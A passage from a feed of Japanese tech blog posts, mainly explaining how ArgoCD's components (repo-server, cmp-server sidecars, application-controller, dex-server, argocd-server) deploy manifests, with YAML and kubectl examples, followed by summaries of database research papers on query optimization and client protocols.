をインストールします。また、サイドカーのcmp-serverでは起動時に/var/run/argocd/argocd-cmp-serverコマンドを実行する必要があり、InitContainer (ここではcopyutilコンテナ) を使用して、ArgoCDのコンテナイメージからargocd-cliのバイナリファイルをコピーします。repo-serverのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、ArgoCDで使いたいツール (Helm、SOPS、helm-secrets) をInitContainerでインストールしています。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: argocdspec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest initContainers: # HelmをインストールするInitContainer - name: helm-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # SOPSをインストールするInitContainer - name: sops-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # helm-secretsをインストールするInitContainer - name: helm-secrets-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /helm-working-dir/plugins name: helm-working-dir ... # cmp-serverにargocd-cliのバイナリをコピーするInitContainer - name: copyutil image: quay.io/argoproj/argocd:latest command: - cp - -n - /usr/local/bin/argocd - /var/run/argocd/argocd-cmp-server volumeMounts: - name: var-files mountPath: /var/run/argocd # Podの共有ボリューム volumes: - name: custom-tools emptyDir: {} - name: var-files emptyDir: {}Custom Tooling - Argo CD - Declarative GitOps CD for Kubernetesquay.io/argoproj/argocd) には、いくつかのツール (例：Helm、Kustomize、Ks、Jsonnet、など) の推奨バージョンがあらかじめインストールされています。そのため、これらのツールのプラグイン (例：helm-secrets) を使用する場合、repo-server内のツールをcmp-serverにコピーすればよいのでは、と思った方がいるかもしれません。この方法は全く問題なく、cmp-serverの/usr/local/binディレクトリ配下にツールをコピーするように、InitContainerを定義してもよいです。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest volumeMounts: - mountPath: /usr/local/bin/helm # Podの共有ボリュームを介して、repo-serverでHelmを使用する。 name: custom-tools initContainers: - name: copy-helm image: quay.io/argoproj/argocd:latest # InitContainer上のHelmをVolumeにコピーする command: - /bin/cp - -n - /usr/local/bin/helm - /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools # 共有ボリューム volumes: - name: custom-tools emptyDir: {}反対に、これらツールをInitContainerでインストールし直す場合は、ArgoCD上での推奨バージョンをちゃんとインストールするようにしましょう\uD83D\uDC4D2.6系では、ArgoCDのリポジトリ内のtool-versions.shファイルに、Helmのバージョンが定義されています。spec: ... initContainers: - name: helm-installer image: alpine:latest command: - /bin/sh - -c # ArgoCDのリポジトリ上のtool-versions.shファイルから、Helmのバージョンを取得する args: - | apk --update add curl wget ARGOCD_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-helm/argo-cd-/charts/argo-cd/Chart.yaml | grep appVersion | sed -e \'s/^[^: ]*: //\') HELM_RECOMMENDED_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-cd/\\"${ARGOCD_VERSION}\\"/hack/tool-versions.sh | grep helm3_version | sed -e \'s/^[^=]*=//\') wget -q https://get.helm.sh/helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz tar -xvf helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz cp ./linux-amd64/helm /custom-tools/ chmod +x /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools ...argo-cd/hack/tool-versions.sh at master \xb7 argoproj/argo-cd \xb7 GitHub(2) repo-serverによる認証情報取得repo-serverは、Secret (argocd-repo-creds) からリポジトリの認証情報を取得します。argocd-repo-credsではリポジトリの認証情報のテンプレートを管理しています。指定した文字列から始まる (最長一致) URLを持つリポジトリに接続する場合、それらの接続で認証情報を一括して適用できます。argocd-repo-credsのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、リポジトリのSSH公開鍵認証を採用し、argocd-repo-credsに共通の秘密鍵を設定しています。apiVersion: v1kind: Secretmetadata: name: argocd-repo-creds-github namespace: argocd labels: argocd.argoproj.io/secret-type: repo-credstype: Opaquedata: type: git url: https://github.com/hiroki-hasegawa # 秘密鍵 sshPrivateKey: | MIIC2 ...あとは、各リポジトリのSecret (argocd-repo) にURLを設定しておきます。すると、先ほどのargocd-repo-credsのURLに最長一致するURLを持つSecretには、一括して秘密鍵が適用されます。# foo-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: argocd name: foo-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: bar-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/bar-chart.git---# baz-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: foo name: baz-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: baz-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/baz-chart.gitDeclarative Setup - Argo CD - Declarative GitOps CD for Kubernetes(3) repo-serverのよるクローン取得とポーリングrepo-serverは、認証情報を使用して、リポジトリにgit cloneコマンドを実行します。取得したクローンを、/tmp/_argocd-repoディレクトリ配下にUUIDの名前で保管します。また、リポジトリの変更をポーリングし、変更を検知した場合はgit fetchコマンドを実行します。# クローンが保管されていることを確認できる$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/_argocd-repo/\\"# リポジトリ内のファイルChart.yaml README.md templates values.yamlcustom repo-server - where is the local cache kept? \xb7 argoproj/argo-cd \xb7 Discussion #9889 \xb7 GitHub2.3以前では、repo-serverは/tmpディレクトリ配下にURLに基づく名前でクローンを保管します。$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/https___github.com_hiroki-hasegawa_foo-repository\\"# リポジトリ内のファイルChart.yaml README.md templates values.yaml(4) repo-serverによるサイドカーコールrepo-serverは、自身にマウントされたいくつかのマニフェスト管理ツール (例：Helm、Kustomize) を実行する機能を持っています。しかし、実行できないツールに関してはサイドカー (cmp-server) をコールします。この時、Applicationのspec.source.pluginキーでプラグイン名を指定すると、そのApplicationではサイドカーをコールします。逆を言えば、プラグイン名を指定していないApplicationは、サイドカーをコールしない です。apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: foo-application namespace: foospec: source: plugin: name: helm-secretsこのコールは、Volume上のUnixドメインソケットを経由します。Unixドメインソケットのエンドポイントの実体は.sockファイルです。$ kubectl exec -it argocd-repo-server -c foo-plugin-cmp-server\\\\ -- bash -c \\"ls /home/argocd/cmp-server/plugins/\\"foo-plugin.sockUnixソケットドメインは、同じOS上のファイルシステムを介して、データを直接的に送受信する仕組みです。Unixソケットドメインを使用すると、同じVolumeがマウントされたコンテナのプロセス間で、データを送受信できます\uD83D\uDC4DASCII.jp：Unixドメインソケット (1/2)(5) repo-serverによる暗号化キーと暗号化変数の取得cmp-serverは、暗号化キー (例：AWS KMS、Google CKM、など) を使用してSecretストア (例：AWS SecretManager、Google SecretManager、SOPS、Vault、など) の暗号化変数を復号化します。クラウドプロバイダーにある場合、クラウドプロバイダーがHTTPSプロトコルの使用を求める場合があります。cmp-serverに軽量なコンテナイメージを使用していると、ディレクトリはOSによって異なりますが/etc/sslディレクトリにSSL証明書が無く、cmp-serverがHTTPSプロトコルを使用できない可能性があります。その場合は、お好きな方法で証明書をインストールし、コンテナにマウントするようにしてください\uD83D\uDC4DapiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest ... # サイドカーのcmp-server - name: helm-secrets-cmp-server image: ubuntu:latest ... volumeMounts: # サイドカーがAWS KMSを使用する時にHTTPSリクエストを送信する必要があるため、SSL証明書をマウントする - name: certificate mountPath: /etc/ssl ... initContainers: - name: certificate-installer image: ubuntu:latest command: - /bin/sh - -c args: - | apt-get update -y # ルート証明書をインストールする apt-get install -y ca-certificates # 証明書を更新する update-ca-certificates volumeMounts: - mountPath: /etc/ssl name: certificate volumes: - name: certificate emptyDir: {}(6) サイドカーによるプラグイン処理の取得cmp-serverは、マニフェスト管理ツールのプラグイン (helm-secrets、argocd-vault-plugin、など) を実行します。この時マニフェストの作成時のプラグインとして、ConfigMap配下のConfigManagementPluginでプラグインの処理を定義します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、プラグインとしてhelm-secretsを採用し、helm secrets templateコマンドの実行を定義します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmp-cm namespace: foodata: helm-secrets-plugin.yaml: | apiVersion: argoproj.io/v1alpha1 kind: ConfigManagementPlugin metadata: namespace: foo name: helm-secrets # このプラグイン名は、Applicationのspec.source.pluginキーで指定したもの spec: generate: command: - /bin/bash - -c args: - | set -o pipefail helm secrets template -f $ARGOCD_ENV_SECRETS -f $ARGOCD_ENV_VALUES -n $ARGOCD_APP_NAMESPACE $ARGOCD_APP_NAME . foo-plugin.yaml: | ...複数のConfigManagementPluginのマニフェストを定義できるように、各ConfigManagementPluginで異なるファイル名とし、ConfigMapで管理するとよいです\uD83D\uDC4D(7) サイドカーによるプラグイン処理の実行cmp-serverはプラグインを実行し、Secretを含むマニフェストを作成します。ConfigMap配下のファイルをplugin.yamlの名前でサイドカーにマウントする必要があります。また、先ほどのUnixドメインソケットの.sockファイルや、 cmp-serverがプラグインを実行するための各バイナリファイルもマウントが必要です。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、helm-secretsプラグインを実行するサイドカー (helm-secrets-cmp-server) を作成します。apiVersion: v1kind: Podmetadata: name: argocd-repo-serverspec: containers: # repo-server - name: repo-server image: quay.io/argoproj/argocd:latest ... # helm-secretsのcmp-server - name: helm-secrets-cmp-server # コンテナイメージは軽量にする image: ubuntu:latest command: - /var/run/argocd/argocd-cmp-server env: # helmプラグインの場所を設定する - name: HELM_PLUGINS value: /helm-working-dir/plugins securityContext: runAsNonRoot: true runAsUser: 999 volumeMounts: # リポジトリのクローンをコンテナにマウントする - name: tmp mountPath: /tmp # ConfigManagementPluginのマニフェスト (helm-secrets.yaml) を \\"plugin.yaml\\" の名前でコンテナにマウントする - name: argocd-cmp-cm mountPath: /home/argocd/cmp-server/config/plugin.yaml subPath: helm-secrets.yaml # コンテナ間で通信するためのUnixドメインソケットファイルをコンテナにマウントする - name: plugins mountPath: /home/argocd/cmp-server/plugins # 任意のツールのバイナリファイルをコンテナにマウントする - name: custom-tools mountPath: /usr/local/bin # helmプラグインのバイナリをコンテナにマウントする - name: helm-working-dir mountPath: /helm-working-dir/plugins ... # Podの共有ボリューム volumes: # リポジトリのクローンを含む - name: tmp emptyDir: {} # Helmなどの任意のツールを含む - name: custom-tools emptyDir: {} # helmプラグインを含む - name: helm-working-dir emptyDir: {}ArgoCDのv2.6では、ConfigManagementPluginのマニフェストを/home/argocd/cmp-server/configディレクトリに、plugin.yamlの名前でマウントしないといけません。これは、cmp-serverの起動コマンド (/var/run/argocd/argocd-cmp-server) がplugin.yamlの名前しか扱えないためです。ArgoCD公式の見解で、サイドカーでは単一のプラグインしか実行できないように設計しているとのコメントがありました。今後のアップグレードで改善される可能性がありますが、v2.6では、ConfigManagementPluginの数だけcmp-serverが必要になってしまいます\uD83D\uDE47\uD83C\uDFFB‍use multiple plugins in sidecar installation method \xb7 argoproj/argo-cd \xb7 Discussion #12278 \xb7 GitHubKustomizeのプラグイン (例：KSOPS) によるマニフェスト作成は、サイドカーではなくrepo-serverで実行した方がよいかもしれません (Helmプラグインはサイドカーで問題ないです)。執筆時点 (2023/05/02) では、ArgoCDとKustomizeが密に結合しています。例えば、ArgoCD上のKustomize系オプションはrepo-serverでマニフェストを作成することを想定して設計されています。無理やりサイドカーでKustomizeのプラグインを実行しようとすると、ArgoCDの既存のオプションを無視した実装になってしまうため、Kustomizeのプラグインだけはrepo-serverで実行することをお勧めします\uD83D\uDE22今回は詳しく言及しませんが、クラウドプロバイダーのSecretストア (例：AWS SecretManager、Google SecretManager、など) の変数を使用する場合は、Secretのデータ注入ツールのプラグイン (特にargocd-vault-plugin) を採用しなくてもよい。この場合、代わりにSecretsストアCSIドライバーやExternalSecretsOperatorを使用できます。これらは、クラウドプロバイダーから変数を取得し、これをSecretにデータとして注入してくれます\uD83D\uDE47\uD83C\uDFFB‍How to manage Kubernetes secrets with GitOps? | Akuity04. application-controller、redis-serverapplication-controllerとはコアドメインレイヤーにあるapplication-controllerです。Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。redis-serverとはインフラレイヤーにあるredis-serverです。application-controllerの処理結果のキャッシュを保管します。仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンドArgoCD用Clusterの管理者は、ClusterにArgoCD系のカスタムリソース (例：Application、AppProject、など)　をデプロイします。マニフェストを作成できます。️GitHub - argoproj/argo-helm: ArgoProj Helm ChartsただしHelmの重要な仕様として、チャートの更新時に使用するhelm upgradeコマンドは、CRDを作成できる一方でこれを変更できません。HelmでCRDを作成するとHelmの管理ラベルが挿入されてしまうため、作成の時点からCRDがHelmの管理外となるように、kubectlコマンドでCRDを作成した方がよいです\uD83D\uDC4D$ kubectl diff -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"$ kubectl apply -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"ArgoCD上でHelmを使用してデプロイする場合はこの仕様を気にしなくてよいのかな、と思った方がいるかもしれないです。ですが本記事で解説した通り、ArgoCDはcmp-serverのhelm templateコマンド (この時、--include-crdsオプションが有効になっている) や、application-controllerのkubectl applyコマンドを組み合わせてマニフェストをデプロイしているため、CRDもちゃんと更新してくれます\uD83D\uDC4D\uD83C\uDFFB️Helm | Custom Resource Definitions(2) application-controllerによるArgoCD系カスタムリソースのReconciliationkube-controller-managerは、application-controllerを操作し、Reconciliationを実施します。application-controllerは、Etcd上に永続化されたマニフェストと同じ状態のArgoCD系カスタムリソースを作成/変更します。How Operators work in Kubernetes | Red Hat Developer(3) application-controllerによるマニフェスト取得application-controllerは、repo-serverからリポジトリのマニフェストを取得します。取得したマニフェストは、repo-serverのサイドカーであるcmp-serverが作成したものです。(4) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。application-controllerには、gitops-engineパッケージが内蔵されており、これはヘルスチェックからデプロイまでの基本的な処理を実行します。ディレクトリからなります\uD83D\uDC47\uD83D\uDC31 gitops-engine/├── \uD83D\uDCC2 pkg│ ├── cache│ ├── diff # リポジトリとClusterの間のマニフェストの差分を検出する。ArgoCDのDiff機能に相当する。│ ├── engine # 他のパッケージを使い、GitOpsの一連の処理を実行する。│ ├── health # Clusterのステータスをチェックする。ArgoCDのヘルスチェック機能に相当する。│ ├── sync # Clusterにマニフェストをデプロイする。ArgoCDのSync機能に相当する。│ └── utils # 他のパッケージに汎用的な関数を提供する。│...gitops-engine/specs/design-top-down.md at master \xb7 argoproj/gitops-engine \xb7 GitHub(5) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、repo-serverから取得したマニフェストの差分を検出します。ここで、kubectl diffコマンドの実行が自動化されています。(6) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。redis-serverは、Applicationやリポジトリのコミットの単位で、application-controllerの処理結果を保管しています。$ kubectl exec -it argocd-redis-server \\\\ -n foo \\\\ -- sh -c \\"redis-cli --raw\\"127.0.0.1:6379> keys *...app|resources-tree||<キャッシュバージョン>cluster|info|<プロダクト用ClusterのURL>|<キャッシュバージョン>git-refs|<マニフェスト/チャートリポジトリのURL>|<キャッシュバージョン>mfst|app.kubernetes.io/instance||<最新のコミットハッシュ値>|<デプロイ先Namespace>|*****|<キャッシュバージョン>...(7) application-controllerによるマニフェストデプロイapplication-controllerは、Applicationの操作に応じて、Clusterにマニフェストをデプロイします。ここで、kubectl applyコマンドの実行が自動化されています。Kubernetesリソースのマニフェストには、metadata.managedFieldsキーがあり、何がそのマニフェストを作成/変更したのかを確認できます。実際にマニフェストを確認してみると、確かにapplication-controllerがマニフェストを作成/変更してくれたことを確認できます。apiVersion: apps/v1kind: Deploymentmetadata: managedFields: # ArgoCDのapplication-controllerによる管理 - manager: argocd-application-controller apiVersion: apps/v1 # kube-apiserverに対するリクエスト内容 operation: Update time: \\"2022-01-01T16:00:00.000Z\\" # ArgoCDのapplication-controllerが管理するマニフェストのキー部分 fields: ...️Server-Side Apply | Kubernetes05. dex-serverdex-serverとはインフラレイヤーにあるdex-serverです。SSO (例：OAuth 2.0、SAML、OIDC) を採用する場合、argocd-serverの代わりに認可リクエストを作成し、IDプロバイダー (例：GitHub、Keycloak、AWS Cognito、Google Auth、など) にこれを送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。GitHub - dexidp/dex: OpenID Connect (OIDC) identity and OAuth 2.0 provider with pluggable connectorsエストを直接的に送信することもできます。執筆時点 (2023/05/02) で、argocd-serverは特にOIDCの認可リクエストを作成できるため、ログイン要件がOIDCの場合は、dex-serverを必ずしも採用してなくもよいです。言い換えれば、その他のSSO (例：OAuth 2.0、SAML) を使用する場合は、dex-serverを採用する必要があります\uD83D\uDC4D️Overview - Argo CD - Declarative GitOps CD for Kubernetes仕組み(1) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(2) IDプロバイダーへの認証フェーズ委譲argocd-serverは、認証フェーズをIDプロバイダーに委譲するために、dex-serverをコールします。Authentication and Authorization - Argo CD - Declarative GitOps CD for Kubernetes(3) dex-serverによる認可リクエスト作成dex-serverは、認可リクエストを作成します。認可リクエストに必要な情報は、ConfigMap (argocd-cm) で設定しておく必要があります。argocd-cmのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、IDプロバイダーをGitHubとし、認可リクエストに必要なクライアントIDとクライアントシークレットを設定しています。apiVersion: v1kind: ConfigMapmetadata: namespace: foo name: argocd-cmdata: dex.config: | connectors: - type: github id: github name: GitHub SSO config: clientID: ***** clientSecret: ***** # dex-serverが認可レスポンスを受信するURLを設定する redirectURI: https://example.com/api/dex/callbackdex.configキー配下の設定方法に関しては、dexのドキュメントをみるとよいです\uD83D\uDC4DDex(4) dex-serverによる認可リクエスト送信dex-serverは、前の手順で作成した認可リクエストをIDプロバイダーに送信します。(5) IDプロバイダーによる認証フェーズ実施IDプロバイダー側でSSOの認証フェーズを実施します。IDプロバイダーは、コールバックURL (/api/dex/callback) を指定して、認可レスポンスを送信します。認可レスポンスは、argocd-serverを介して、dex-serverに届きます。GitHubをIDプロバイダーとする場合、 Developer settingsタブ でSSOを設定する必要があり、この時にAuthorization callback URLという設定箇所があるはずです\uD83D\uDC4D\uD83C\uDFFB(6) argocd-serverによる認可フェーズ実施argocd-serverは、AuthZで認可フェーズを実施します。ConfigMap (argocd-rbac-cm) を参照し、IDプロバイダーから取得したユーザーやグループに、ArgoCD系カスタムリソースに関する認可スコープを付与します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、developerロールにはdevというAppProjectに属するArgoCD系カスタムリソースにのみ、またmaintainerロールには全てのAppProjectの操作を許可しています。またこれらのロールを、IDプロバイダーで認証されたグループに紐づけています。特定のArgoCD系カスタムリソースのみへのアクセスを許可すれば、結果として特定のClusterへのデプロイのみを許可したことになります\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール policy.default: role:developer policy.csv: | p, role:developer, *, *, dev/*/*, allow p, role:maintainer, *, *, dev/*/*, allow p, role:maintainer, *, *, prd/*/*, allow g, developers, role:developer g, maintainers, role:maintainer scopes: \\"[groups]\\"ConfigMap (argocd-rbac-cm) の認可スコープの定義には、 Casbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を定義できます。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetes06. argocd-server (argocd-apiserver)argocd-serverとは最後に、インフラレイヤーにあるargocd-serverです。『argocd-apiserver』とも呼ばれます。みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能し、他のコンポーネントと通信します\uD83E\uDD84仕組み(1) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。(2) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、ポーリング対象のリポジトリのマニフェストの差分を検出します。(3) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(4) application-controllerによる処理結果取得argocd-serverは、redis-serverから処理結果を取得します。(5) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(6) IngressコントローラーによるルーティングIngressコントローラーは、Ingressのルーティングルールを参照し、argocd-serverにルーティングします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。(8) IDプロバイダーによる認証フェーズ実施IDプロバイダー上で認証フェーズが完了します。argocd-serverは、ConfigMap (argocd-rbac-cm) を参照し、プロダクト用Cluster管理者に認可スコープを付与します。(9) argocd-serverによる認可フェーズ実施argocd-serverは、認可スコープに応じて、プロダクト用Cluster管理者がApplicationを操作可能にします。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata: # 設定してはダメ # application.namespaces: \\"*\\" # 全てのNamespaceを許可する。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: dev-foo-project namespace: foospec: # 設定してはダメ # sourceNamespaces: # - \\"foo\\"これらにより、fooのNamespaceに属するArgoCDは、他のNamespaceにはアクセスできなくなります\uD83D\uDC4DInstallation - Argo CD - Declarative GitOps CD for Kubernetes(10) application-controllerによるマニフェストデプロイプロダクト用Cluster管理者は、ダッシュボード (argocd-server) を使用して、ClusterにマニフェストをSyncします。この時、Applicationを介してapplication-controllerを操作し、マニフェストをデプロイします。図では、App-Of-Appsパターンを採用したと仮定しています\uD83D\uDC68‍\uD83D\uDC69‍\uD83D\uDC67‍\uD83D\uDC66デザインパターンがあります。これは、Applicationを階層上に作成するものであり、最下層のApplication配下のマニフェストをより疎結合に管理できます✌️例えば以下の画像の通り、最上位のApplication配下に、チーム別の親Applicationを配置します (アプリチームの親Application、インフラチームのそれ) 。その後、両方のApplication配下にさらにチャート別に最下層の子Applicationを配置し、チャートのデプロイを管理します。アプリチーム最下層の子Applicationではアプリコンテナのチャート、インフラチームの子Applicationでは監視/ネットワーク/ハードウェアリソース管理系のチャートを管理します\uD83D\uDC4D07. アーキテクチャのまとめ今までの全ての情報をざっくり整理して簡略化すると、ArgoCDは以下の仕組みでマニフェストをデプロイすることになります\uD83D\uDC4708. おわりにArgoCDによるデプロイの仕組みの仕組みをもりもり布教しました。ArgoCDは、UIが使いやすく、仕組みの詳細を知らずとも比較的簡単に運用できるため、ユーザーフレンドリーなツールだと思っています。もしArgoCDを使わずにマニフェストをデプロイしている方は、ArgoCDの採用をハイパー・ウルトラ・アルティメットおすすめします\uD83D\uDC4Dなお、登場した設計プラクティスのいくつかは、以下の書籍にも記載されており、ぜひご一読いただけると\uD83D\uDE47\uD83C\uDFFB‍GitOps Cookbook (English Edition)Argo CD in Practice: The GitOps way of managing cloud-native applications謝辞ArgoCDの設計にあたり、以下の方に有益なプラクティスをご教授いただきました。@yaml_villager さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/05/02/145115","isoDate":"2023-05-02T05:42:57.000Z","dateMiliSeconds":1683006177000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"現代のクエリオプティマイザの基礎となる技術をまとめた論文を読みました","contentSnippet":"この記事の趣旨1998年に発表されたクエリオプティマイザの基礎としてとくに重要な手法をまとめた論文を読みました。An Overview of Query Optimization in Relational Systems著者についてSurajit Chaudhuriによる論文Microsoft所属の研究者でRDBMSの研究を行なっており、近年ではCloudにおけるDBMSの研究を行なっている。概要RDBMSが提案された1970年代からクエリ最適化は大規模で幅の広く研究が行なわれてきた。この論文では執筆当時(1998年)までの重要な研究の基礎を説明している。手法探索空間統計情報とコストの推定列挙アルゴリズムアルゴリズムについて説明している。論文内では拡張可能なオプティマイザとして、StarburstとVolcano/Cascadeの2種類のオプティマイザの詳細を論じている。最新(当時)の最適化リアライズドビューについて説明している。作業時間read31:4031:40author33:402:00summary52:5519:15感想ベクトル化やパラレルジョインで扱われていたVolcanoオプティマイザの端に触れることが出来ました。内容としては基礎的な内容が多いものの、知らない概念もいくつかあり引用している論文も読みたいです。クエリ最適化の基礎を学ぶのに非常にいい内容でした。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/15_query_optimization_overview","isoDate":"2023-05-02T01:54:29.000Z","dateMiliSeconds":1682992469000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"DBMSとクライアント間におけるデータ転送を最適化する論文を読みました","contentSnippet":"この記事の趣旨2017年に出版されたリモートDBMSとクライアント間の大量データ転送を最適化する手法を提案する論文を読みました。Don’t Hold My Data Hostage – A Case For Client Protocol Redesign著者についてMark Raasveldt、Hannes Muhleisenらのグループによる論文。いずれもCentrum Wiskunde & Informaticaの所属で、DuckDBのCxO。DBMSと分析システムにおけるパフォーマンス最適化を研究している。問題意識DBMSからクライアントプログラムに大量のデータを転送することは一般的なタスクである。例えばRやPythonなどを用いた分析システムはしばしばデータベース・インターフェースを利用してデータの取得を行なっている。一方でネットワーク越しにデータを転送することはレイテンシを増加させ、転送時間を長引かせる要因である。そのため分析用途で大量のデータ転送を避け、一部のデータをサンプルとして利用するに止まることが多い。このアプローチはパフォーマンスの低下を押さえられるものの、分析や機械学習の精度を下げることに繋がる。とくに既存のクライアントではネットワークによるレイテンシとスループットの制限に大きな影響を受けパフォーマンスを劣化させる。この問題はデータベースが別マシンやクラウドで動作するときにより大きな問題となる。手法本論文では既存のシリアライズ手法と圧縮手法によるパフォーマンスへの影響を計測し、新しいプロトコルとして以下の特性を持つ手法を提案している。1. チャンク毎のデータ転送と(デ)シリアライゼーション1. ヒューリスティックによる圧縮方法の決定1. text/binaryによるカスタムシリアライゼーションを使用する1. NULL終端によるテキストの取り扱い実験結果提案手法を実装したMonetDB(表内ではMonetDB++)とPostgreSQL(表内ではPostgreSQL++)を既存のDBMSやnetcatと比較することで評価を行なっている。TCP-Hのlineitem、American Community Survay、Airline On-Time Statisticsの3つのデータセットで評価を行なったところ、ローカル通信における非圧縮netcatを除き殆どのケースでMonetDB++系が最良のパフォーマンスを発揮し次点でPostgreSQL++系が優れた結果を残している。Table 10Table 11Table 12PostgreSQLに比べMonetDBが優れている理由はPostgreSQLの行指向データを列指向に変換するコストのためである。作業時間read31:2131:21author35:384:17summary70:1334:35感想論文出版時にはTPC/IPプロトコルが前提でQuic登場前のため、ネットワークプロトコル自体は考慮されていない。現在であればTPC/IPとQuicに適合した手法の比較が行なわれると思うので気になるところ。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/14_data_transfer_between_server_and_client","isoDate":"2023-05-01T03:34:18.000Z","dateMiliSeconds":1682912058000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"SQL ServerにおけるUDF最適化の論文を読みました","contentSnippet":"この記事の趣旨2017年に発表されたSQL ServerでUDFを最適化しているFroidという手法についての論文を読みました。Froid: Optimization of Imperative Programs in a Relational Database著者についてKarthik Ramachandra、Kwanghyun Park、K. Venkatesh Emani、Alan Halverson、Cesar Galindo-Legaria、Conor Cunninghamのグループによる論文。ほとんどの著者はMicrosoftに所属しており、いずれもトランザクショナルワークロードでのRDBMSの最適化や分析ワークロードにおけるRDBMS最適化の研究をしている。問題意識RDBMSではSQLによるデータ処理アプローチと、UDFやストアドプロシージャなどによる命令型のデータ処理アプローチを提供している。SQLによるデータアクセスは高度に最適化されてきた一方で、命令型のデータ処理は非効率なため性能を阻害し利用を禁止している組織すらある。UDFによるデータアクセスは非効率であるものの、SQLに比べ下記のような利点を提供するため幅広く利用されているのも事実である。1. SQL間でコードの再利用方法を提供する1. 複雑なビジネスロジックやMLアルゴリズムなどSQLでは難しい表現を可能にする1. 単純なSQLの組み合わせのため、ユーザーの意図が明確に表現できるこれらのメリットを享受するためにRDBMSにおける命令型データアクセス手法のパフォーマンスを向上しする必要があった。手法提案手法であるFroidはMicrosoft SQL Serverにおける命令型コードのパフォーマンス向上の手法として、UDFを複雑なサブクエリとしてみなすアプローチを取っている。UDFを構成する命令はDECLARE、SELECT、IF/ELSE、RETURN、他のUDF、リレーショナルオペレーションの6つに分ることができる。提案手法ではこれらの命令を一般的なT-SQLに置き換え、Apply演算により一つの関係式に結合する方法で実現している。Table 1命令が一般SQLに置き換えられることでUDFに対して、SQLに用いられていた高度な最適化を導入することが出来る。また提案手法ではい以下の理由から、SQLとして命令を置換するときにクエリ最適化時に行なうのではなくバインド時に置換をしている。1. 実際のワークロードでの実験ではほぼ全てのケースでバインド時のほうが性能がよかった1. クエリオプティマイザの変更が不要1. バインディング時に特定の最適化を行なえるとくにクエリオプティマイザの変更はSQL 